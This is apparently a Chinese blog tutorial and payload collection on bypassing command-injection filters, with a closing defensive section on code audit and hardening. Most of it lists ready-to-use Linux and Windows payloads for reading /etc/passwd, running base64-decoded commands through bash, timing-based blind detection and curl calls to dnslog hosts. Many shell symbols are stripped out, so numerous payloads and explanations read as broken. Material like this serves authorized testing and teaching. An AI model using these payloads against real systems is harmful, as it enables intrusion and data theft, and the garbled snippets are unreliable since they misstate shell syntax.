命令注入各种绕过姿势:过滤空格、引号、管道符号,实战 payload 整理

发布时间:2026/10/15 12:38:27
命令注入各种绕过姿势:过滤空格、引号、管道符号,实战 payload 整理 免责声明本文仅供授权渗透测试、红蓝对抗、网络安全学习研究所有实验必须在自建隔离靶场操作。未经授权对互联网业务执行命令注入攻击属于违法行为请严格遵守网络安全法律法规。前言命令注入OS Command InjectionCWE‑77是 Web 渗透中经典高危漏洞。漏洞根源开发者直接把用户可控输入拼接到系统 shell 命令中攻击者注入 shell 元字符篡改原有命令逻辑执行任意操作系统命令。实战环境里几乎不会遇到完全没有过滤的靶场。开发会做黑名单过滤空格、单双引号、分号、管道|、、、||、$、反引号全部被拦截同时还会过滤cat、ls、whoami这类危险命令关键字。很多新人复制网上基础 Payload 直接打线上环境发现全部失效核心原因就是不熟悉 shell 语法的各种变形绕过。Linux 下 bash、dash、sh 语法存在差异Windows cmd、PowerShell 又有另一套完全不一样的符号规则。不同 WAF、业务黑名单过滤逻辑各不相同没有万能 Payload需要理解底层 shell 解析原理组合各类绕过技巧。本文万字完整整理从漏洞基础、元字符详解分模块讲解空格绕过、引号绕过、命令分隔符绕过、关键字过滤绕过、盲命令注入、Windows 平台绕过、WAF 多层混淆、实战排错清单、代码审计、蓝队完整修复加固方案附带大量可直接测试实战 Payload。ATTCK 映射T1059 命令解释器执行T1203 利用客户端控制执行T1190 面向公众漏洞利用。测试环境说明大部分 Linux Payload 基于 bash部分 Payload 在 dash (/bin/sh) 会失效实战需要注意 shell 环境差异。一、命令注入基础原理与 Shell 元字符1.1 漏洞触发示例PHP危险代码直接拼接用户输入到 shell?php $ip $_GET[ip]; system(ping -c 1 .$ip); ?正常访问?ip127.0.0.1执行ping -c 1 127.0.0.1。原始无过滤攻击 payload?ip127.0.0.1;idshell 实际执行两条命令ping -c 1 127.0.0.1 id漏洞成立核心用户可控变量直接拼接到 shell 命令字符串交给 system ()、exec ()、shell_exec ()、passthru () 等函数调用操作系统解析执行。1.2 Linux Shell 常用危险元字符符号作用;命令分隔顺序执行多条命令管道前命令输出交给后命令输入后台执行同时执行前后命令逻辑与前面命令执行成功才执行后面逻辑或前面执行失败才执行后面$()命令替换括号内命令执行替换输出结果\反引号等同于 $() 命令替换$变量解析读取环境变量/重定向输出写入文件输入重定向读取文件%0a(url 编码换行\n)换行分割多条命令%0d(url 编码回车\r)回车部分 shell 支持分割命令很多业务黑名单就是拦截上面这些元字符。一旦部分符号被过滤就需要使用各类语法变形绕过。1.3 盲命令注入概念很多场景页面没有命令回显看不到 whoami、id 输出称为盲命令注入。验证手段三种延时 sleepsleep 5观察 HTTP 响应时间是否增加 5 秒DNSlog 外带curl xxx.dnslog.cn看 DNS 日志收到解析请求写本地文件把命令输出重定向写入 web 目录文件再访问读取结果。盲注入不能看页面返回判断是否执行很多新人踩坑页面空白就判定漏洞不存在。二、过滤空格的全部绕过姿势实战最高频业务中最常过滤空格。因为 ping、ip、域名等正常业务参数本身不需要空格开发直接把空格加入黑名单。目标执行cat /etc/passwd但是禁止输入普通空格。2.1 ${IFS} 环境变量绕过bash 最常用IFS 是 shell 内部字段分隔符默认值包含空格、tab、换行。${IFS}可以直接代替空格。cat${IFS}/etc/passwd id${IFS};whoami ls${IFS}-la注意坑$IFS不加花括号当后面紧跟数字字母时shell 会把IFSxxx当成一个全新变量变量为空Payload 失效。改良写法搭配空变量$9shell 位置参数没有传参时值为空字符串避免变量名粘连cat$IFS$9/etc/passwd id$IFS$9whoami注意dash (/bin/sh) 下部分 IFS 变形会失效优先使用${IFS}大括号版本。2.2 Tab 制表符 %09 URL 编码绕过Tab 制表符\t和空格功能等价URL 编码后是%09http 请求中直接传入 %09 代替空格。ping%09-c%091%09127.0.0.1;cat%09/etc/passwd原始 shell 文本写法数据包 raw 里cat /etc/passwd2.3 重定向符号 绕过空格输入重定向、同时输入输出重定向shell 解析时命令和文件之间不需要空格分隔。cat/etc/passwd cat/etc/passwd echo1.txt限制只能用于命令 文件名之间不能用于命令参数例如ls -la这种带参数的场景无法使用。2.4 Bash 大括号扩展 {,} 绕过空格bash 特有语法{cat,/etc/passwd}逗号会被解析成分隔自动插入空格。逗号前后不能写空格{cat,/etc/passwd} {id,;whoami} {curl,xxx.dnslog.cn}重要dash/sh 不支持该语法只在 bash 环境生效很多 docker、ubuntu 默认 /bin/sh 是 dashPayload 直接失效。2.5 变量拼接构造空格把空格赋值给变量调用变量充当分隔符。x$\x20;cat$x/etc/passwd2.6 实战 Payload 汇总过滤空格场景127.0.0.1;cat${IFS}/etc/passwd 127.0.0.1%09;cat$IFS$9/etc/passwd 127.0.0.1;cat/etc/passwd 127.0.0.1;{cat,/etc/passwd}空格绕过踩坑总结${IFS}兼容性最好优先测试{,}大括号只支持 bashdash 环境不要使用{,}会直接报语法错误$IFS不加 {} 容易出现变量粘连尽量带上$9空变量截断重定向仅适用于命令 文件名不能用于带命令参数场景。三、过滤引号单引号 、双引号 绕过姿势当黑名单拦截单引号、双引号无法直接使用引号包裹字符串。同时也包含另一种场景原始 PHP 代码把用户输入包裹在引号内需要闭合引号实现逃逸。3.1 空引号切割关键字引号没有被完全过滤没有过滤引号但过滤完整关键字插入成对空引号shell 解析会直接删除空引号命令正常执行。cat /etc/passwd whoami cat flag.txtshell 解析后等价于cat /etc/passwd引号被剥离用来绕过完整字符串匹配黑名单。3.2 反斜杠转义拆分命令Linux bash在字符之间插入反斜杠\shell 解析时忽略行尾反斜杠拼接字符。c\a\t /e\tc/\pa\sswd w\h\o\a\m\i3.3 $ 位置参数变形绕过$代表全部传入参数值为空插入命令字符中间shell 直接忽略。c$at /etc/passwd wh$o$ami3.4 printf 十六进制、八进制编码构造字符串完全禁止引号当单双引号全部被过滤使用printf输出十六进制字节配合$()命令替换生成完整命令字符串。$(printf\x20\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64)示例printf 输出 ls$(printf \x6c\x73)注意部分环境\x十六进制不支持改用八进制\144格式。3.5 base64 编码绕过不需要引号把命令 base64 编码通过 base64‑d 解码交给 bash 执行。原始命令cat /etc/passwdbase64 编码Y2F0IC9ldGMvcGFzc3dkpayloadecho${IFS}Y2F0IC9ldGMvcGFzc3dk|base64${IFS}-d|bash优点整个 Payload 里面不需要单引号、双引号适合引号被彻底拉黑场景。3.6 逃逸引号包裹的命令上下文业务代码把输入放在引号内PHP 示例危险代码system(ping $_GET[ip]);用户输入被包裹在单引号里面需要先闭合单引号注入命令再补上引号保证语法不报错。payload127.0.0.1;id;拼接后 shell 命令ping 127.0.0.1;id;如果是双引号包裹输入payload127.0.0.1;id;。四、过滤命令分隔符; | || 绕过姿势开发经常把; | ||全部加入黑名单无法直接分割多条命令。此时可用换行符、命令替换、重定向等思路。4.1 换行符分割命令 %0a\nURL 编码换行%0ashell 解析换行等同于命令分隔符多条命令分行执行绕过分号;过滤。原始 http get payload?ip127.0.0.1%0aid ?ip127.0.0.1%0acat${IFS}/etc/passwdraw 数据包中直接写\n换行。%0d 回车 \r 在部分老版本 shell 也支持分割兼容性不如 %0a。4.2 $() 命令替换绕过分隔符过滤即使没有分号管道使用$(命令)shell 会优先执行括号内的子命令。示例原始代码ping $ip过滤;|可以构造ip127.0.0.1$(id)shell 执行ping 127.0.0.1$(id)子 shell 执行 id 命令。盲注入场景127.0.0.1$(sleep${IFS}5)通过延时判断是否执行成功。4.3 反引号 命令替换和$()功能等价部分环境$被过滤可以尝试反引号。ping id注意反引号也经常被 WAF 黑名单拦截作为备选手段。4.4 重定向结合文件写入间接执行命令分隔符全部拦截先把恶意命令写入本地文件再通过 source 执行脚本文件。echo${IFS}id/tmp/t.shsource${IFS}/tmp/t.sh4.5 不同分隔符逻辑区分排错必看符号行为;无论前面命令成功失败后面一定执行前面命令返回码 0成功才执行后面前面命令执行失败才执行后面后台运行前后命令同时执行管道前输出作为后输入实战如果 payload 不执行要思考前面 ping 命令是否报错导致后面命令不会运行此时优先用;或者%0a换行。五、过滤命令关键字cat、ls、whoami、curl绕过黑名单拦截危险命令字符串例如禁止 cat 读取文件禁止 curl 外带数据。5.1 替换等价命令读取文件替代 cattac 文件名 #倒序输出 nl 文件名 #带行号输出 more 文件名 less 文件名 head 文件名 tail 文件名 od -a 文件名 strings 文件名示例tac${IFS}/etc/passwd5.2 通配符 glob 绕过* ? []shell 通配符*匹配任意多个字符?匹配单个字符[]匹配括号内其中一个字符。c?t /etc/passwd ca* /etc/passwd /bin/c?t /etc/passwd cat /etc/p*sswd cat /etc/?asswd cat /e[tc]/passwd示例过滤 cat/bin/c?tshell 会匹配 /bin/cat。5.3 字符串切割环境变量截取字符bash 支持变量切片${变量:起始:长度}从系统环境变量截取字符拼接命令字符不需要写完整关键字。${PATH:0:1} #取出PATH变量第一个字符 / ${HOME:0:1}组合示例拼接出 cat 命令字符。适合严格黑名单几乎所有字面字符都被拦截场景。5.4 base64 编码间接执行命令前面提到不直接写原始命令文本base64 编码后解码执行。echo${IFS}d2hvYW1p|base64${IFS}-d|bash5.5 命令存在路径变形命令不一定写绝对路径利用 PATH 环境变量也可以写完整路径绕过简单字符串匹配。/bin/cat /usr/bin/whoami六、多层过滤综合实战 Payload 案例真实业务往往同时过滤空格、分号、cat 等需要多重技巧组合。案例 1过滤空格、过滤允许 $()条件禁止空格、禁止分号允许$()payload127.0.0.1$(cat/etc/passwd) 127.0.0.1$(sleep$IFS$95)案例 2过滤空格、引号、管道符盲注入 DNSlog 外带payload127.0.0.1%0aecho${IFS}Y3VybCB4eHguZG5zbG9nLmNu|base64${IFS}-d|bash案例 3黑名单拦截 cat读取 flag 文件payload127.0.0.1;nl${IFS}fl*g 127.0.0.1%0atacflag.txt七、Windows cmd / PowerShell 命令注入绕过前面全部是 Linux bashWindows 环境语法完全不一样很多 Payload 不能直接复用。cmd.exe 重点绕过命令分隔符、、||、%0a换行空格过滤%09tab 可以代替空格转义字符脱字符^可以用来分割字符过滤关键字w^h^o^a^m^i ty^pe c:\win^dows\win.ini读取文件 type 命令代替 cattype c:\windows\win.inicmd 简单 payload 示例127.0.0.1whoami 127.0.0.1%0atype%09c:\windows\win.ini 127.0.0.1||w^h^o^a^m^iPowerShell 环境换行反引号\n分隔符;、base64 编码执行powershell 支持 base64 编码命令参数powershell -enc base64字符串实战注意同一个 Web 应用后端操作系统是 Linux 还是 Windows直接决定 Payload 是否生效可以通过 sleep 延时简单判断。八、盲命令注入完整测试方法论页面没有回显看不到输出结果这是线上 SRC 最常见场景。步骤 1延时探测 sleepLinux127.0.0.1;sleep${IFS}3 127.0.0.1$(sleep$IFS$94) 127.0.0.1%0asleep%095观察 http 响应时间如果页面延迟 3‑5 秒返回证明命令执行成功。Windows cmd 延时ping -n 5 127.0.0.1步骤 2DNSlog/CEYE 外带优先推荐构造 payload 发起 DNS 请求外网 dnslog 平台记录解析日志确认命令执行。127.0.0.1;curl${IFS}xxx.ceye.io 127.0.0.1%0acurl$IFS$9xxx.dnslog.cn坑服务器内网隔离无法访问外网 DNS 服务器此时 DNSlog 无记录不能直接判定漏洞不存在改用写文件方式。步骤 3重定向写入 Web 文件获取回显把命令输出重定向写入 web 可访问目录之后浏览器直接访问该文件拿到结果。127.0.0.1;id${IFS}./out.txt 127.0.0.1%0acat${IFS}/etc/passwd./res.txt然后浏览器访问http://xxx.com/out.txt读取执行输出。注意需要知道网站 web 绝对路径不知道路径则该方法无法使用。九、WAF 绕过高级混淆思路当基础 Payload 被 WAF 拦截可以叠加下面混淆手段。URL 双重编码对 payload 整体做两次 url 编码绕过浅层 WAF 检测大小写变形bash 命令大小写敏感但是部分工具 / Windows 不敏感多行换行拆分 payload把完整命令拆分成多行多种绕过组合通配符 base64 ${IFS}利用 shell 注释#截断后面原有语法。注意混淆不是万能现代 WAF 支持解码后检测过度混淆反而更容易触发告警。十、实战踩坑排错清单大量新人踩坑点问题 1Payload 复制过来完全不执行没有延时、DNSlog 也没记录排查清单确认漏洞点确实拼接到 shell 命令很多参数只是传给代码函数根本没有调用系统 shell不存在命令注入确认后端 shell 环境bash /dash/sh /cmd/powershell{,}大括号语法 dash 不支持WAF 直接拦截整个 http 请求包直接丢弃数据包根本没有到达后端代码黑名单把 Payload 里面关键元字符过滤替换为空比如把;替换成空字符串权限限制Web 进程低权限部分命令被禁用变量粘连$IFSid没有加{}或者$9shell 识别错误变量。问题 2sleep 延时 payload 成功但是 cat 读取文件看不到内容盲注入本身就没有回显不要看页面输出使用写文件 / DNSlog文件路径错误没有权限读取目标文件命令执行成功但输出输出到 stderr 标准错误不是 stdout 标准输出可以重定向错误输出21。问题 3Payload 本地 bash 测试正常放到 web 靶场失效最常见原因后端 shell 是 dash (/bin/sh)很多 bash 特有语法{,}、部分 IFS 变形 dash 不兼容更换 POSIX 标准 Payload。误区总结误区 1网上 Payload 通用复制就可以打所有环境❌错误。shell 版本不同、过滤黑名单不同、操作系统 Linux/Windows 差异Payload 需要针对性调整。误区 2页面看不到输出就代表漏洞不存在❌错误。盲命令注入命令已经执行输出不会返回 web 页面必须 sleep、DNSlog、写文件判断。误区 3只要出现$ | 符号就一定可以注入❌错误。如果输入没有拼接到系统 shell只是在 PHP/Python 代码字符串里面不会触发命令注入。误区 4过滤空格就完全无法注入❌错误。shell 提供大量语法可以不使用字面空格完成命令执行${IFS}、%09、、大括号扩展等多种方案。十一、蓝队漏洞代码审计、检测与完整修复加固11.1 代码审计危险特征PHP 危险函数system()、exec()、shell_exec()、passthru()、popen()、proc_open()、\反引号。 Python 危险os.system()、os.popen()、subprocess.call(shellTrue)。 Java 危险Runtime.getRuntime().exec()ProcessBuilder 开启 shell。核心风险点函数开启 shell 解析且参数包含用户可控输入。安全写法关闭 shell直接传入参数数组不要拼接字符串。Python 不安全os.system(ping -c 1 user_input) subprocess.call(ping -c 1 user_input,shellTrue)Python 安全写法不启用 shell参数列表形式subprocess.call([ping,-c,1,user_input])PHP 安全尽量避免调用 system 系列函数业务需要 ping 功能使用 PHP 自带 Socket 库实现不调用操作系统 ping 命令。11.2 修复加固分层方案方案 1最优方案杜绝调用系统 shell优先选择能用语言自带库函数实现业务就不要调用操作系统 shell 命令。比如 ping、域名解析使用代码内置网络 API完全不碰 shell从根源消除命令注入风险。方案 2必须调用系统命令禁止 shell 字符串拼接使用参数数组不要拼接用户输入到命令字符串使用参数列表方式用户输入只会当做命令参数不会被 shell 解析元字符。方案 3输入白名单校验次选如果业务输入格式固定例如 ip 地址严格白名单只允许数字、点等合法字符拒绝所有 shell 元字符; $ | \n \r 。注意黑名单永远不可靠shell 绕过姿势层出不穷黑名单很容易被绕过尽量不用黑名单做防护。方案 4运行环境最小权限Web 服务进程使用最低权限账号运行即使发生命令注入限制攻击者能执行操作减少危害。禁止 root、administrator 运行 web 业务。方案 5WAF、日志监控监控访问日志中出现${IFS}、base64‑d、sleep、curl dnslog 等攻击特征做告警拦截。WAF 仅作为缓解手段不能作为唯一防护。重要结论黑名单过滤无法彻底防御命令注入漏洞。shell 语法变形绕过方式极多新的绕过手法会持续出现。不要依靠过滤特殊字符当做主要防护手段。总结命令注入绕过核心本质吃透 shell 解析语法。空格可以用({IFS}、%09、、bash大括号扩展引号可以空引号切割、反斜杠、base64、printf十六进制分隔符被拦截优先使用%0a换行、\)()命令替换关键字过滤可以等价命令替换、glob 通配符、编码变形。实战分为 Linux bash/dash 和 Windows cmd/PowerShell 两套 Payload 体系很多 Payload 跨 shell 直接失效一定要区分后端环境。线上环境大量都是盲命令注入不要依赖页面回显依靠 sleep 延时、DNSlog、写文件三种方式验证漏洞是否真实存在。防御层面黑名单不可靠会被各类语法绕过最优方案是尽量不调用系统 shell如果必须调用系统命令使用参数数组禁止拼接用户可控输入到 shell 命令字符串搭配输入白名单校验和最小权限运行。本文全部 Payload 均来自公开安全研究仅用于授权安全测试严禁未授权实际环境利用。最后关于网络安全技术储备网络安全是当今信息时代中非常重要的一环。无论是找工作还是感兴趣黑客都是未来职业选择中上上之选为了保护自己的网络安全学习网络安全知识是必不可少的。如果你是准备学习网络安全黑客或者正在学习下面这些你应该能用得上①网络安全学习路线②20份渗透测试电子书③安全攻防357页笔记④50份安全攻防面试指南⑤安全红队渗透工具包⑥网络安全必备书籍⑦100个漏洞实战案例⑧安全大厂内部视频资源⑨历年CTF夺旗赛题解析一、网络安全黑客学习路线网络安全黑客学习路线形成网络安全领域所有的知识点汇总它的用处就在于你可以按照上面的知识点去找对应的学习资源保证自己学得较为全面。二、网络安全教程视频我们在看视频学习的时候不能光动眼动脑不动手比较科学的学习方法是在理解之后运用它们这时候练手项目就很适合了。三、网络安全CTF实战案例光学理论是没用的要学会跟着一起敲要动手实操才能将自己的所学运用到实际当中去这里带来的是CTFSRC资料HW资料毕竟实战是检验真理的唯一标准嘛~四、网络安全面试题最后我们所有的作为都是为就业服务的所以关键的临门一脚就是咱们的面试题内容所以面试题板块是咱们不可或缺的部分这里我给大家准备的就是我在面试期间准备的资料。网安其实不难难的是坚持和相信自己我的经验是既然已经选定网安你就要相信它相信它能成为你日后进阶的高效渠道这样自己才会更有信念去学习才能在碰到困难的时候坚持下去。机会属于有准备的人这是一个实力的时代。人和人之间的差距不在于智商而在于如何利用业余时间只要你想学习什么时候开始都不晚不要担心这担心那你只需努力剩下的交给时间这份完整版的网络安全学习资料已经上传CSDN朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】

关于本文作者

来自尧图内容编辑团队

尧图内容编辑团队 内容团队

尧图内容编辑团队

本文由尧图网络内容编辑团队执笔。团队由资深项目经理、前端工程师与设计师组成,所有内容均来自亲手交付的真实项目,先讲清问题、再给出可落地的解法。尧图深耕北京网站建设十年,服务过京华建材集团、智造科技等各行业客户,把一线经验沉淀为可复用的行业观察。

  • 十年建站经验,覆盖建材、制造、服务、文创等
  • 项目经理把关选题与事实准确性
  • 工程师与设计师联合撰写专业细节
  • 统一编辑规范,保证文风与排版一致
  • 每月复盘转化数据,迭代选题方向

延伸阅读

相关资讯与近期热门内容

深度阅读推荐

建站决策前值得细读的三篇

网站改版的5个关键决策
2024-08-12

网站改版的5个关键决策

什么时候该改版、改到什么程度、如何避免流量掉光,京华建材集团改版复盘给出答案。

获取专属建站方案

看完文章,把您的行业与预算告诉我们,免费获取一份量身定制的官网建设方案与报价。

立即免费咨询